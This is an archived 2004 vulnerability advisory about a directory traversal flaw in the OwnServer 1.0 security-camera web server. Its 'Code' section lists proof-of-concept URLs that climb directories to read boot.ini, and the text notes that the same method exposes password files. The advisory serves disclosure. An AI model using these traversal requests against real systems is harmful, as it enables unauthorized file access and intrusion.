OSEC

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OwnServer 1.0 Directory Transversal Vulnerability

From: Rafel Ivgi, The-Insider (theinsider012.net.il)
Date: Tue Jan 20 2004 - 15:11:36 CST


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Application: OwnServer (Used By Security Cameras Products)
Vendors: http://www.anteco.co.il
Big Resellers:
                      http://www.anykeeper.com
                      http://www.sahar-systems.co.il

Versions: <= 1.0
Platforms: Windows
Bug: Directory Transversal Vulnerability
Risk: High
Exploitation: Remote with browser
Date: 25 Dec 2003
Author: Rafel Ivgi, The-Insider
e-mail: the_insidermail.com
web: http://theinsider.deep-ice.com

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1) Introduction
2) Bug
3) The Code

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===============
1) Introduction
===============

OwnServer is a web server used as a webserver for watching security cameras
remotly.
It allows broadcasting live streaming video on the web through the built-in
webserver.

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2) Bug
======

The webserver uses a protection to avoid the directory traversal bug.
"//" is replaced to ""
"\." and "\.." is replaced to ""
"\" is replaced to "/"
"\\" is replaced to "//"

The webserver uses no protection to avoid the directory traversal bug.
The problem happens when the attacker uses the classic pattern "/../" that
allows him to see and download any file in the remote system knowing the
path.
This allows any attacker to : Read and download any local file, and in most
cases retrieve the machine's password files and invade it (using
ssh,ftp,http,netbios,samba etc...).

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3) The Code
===========

http://<host>/../../boot.ini
http://<host>/../../../boot.ini
http://<host>/../../../../boot.ini
http://<host>/../../../../../boot.ini
http://<host>/../../../../../../boot.ini

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---
Rafel Ivgi, The-Insider
http://theinsider.deep-ice.com

"Things that are unlikeable, are NOT impossible."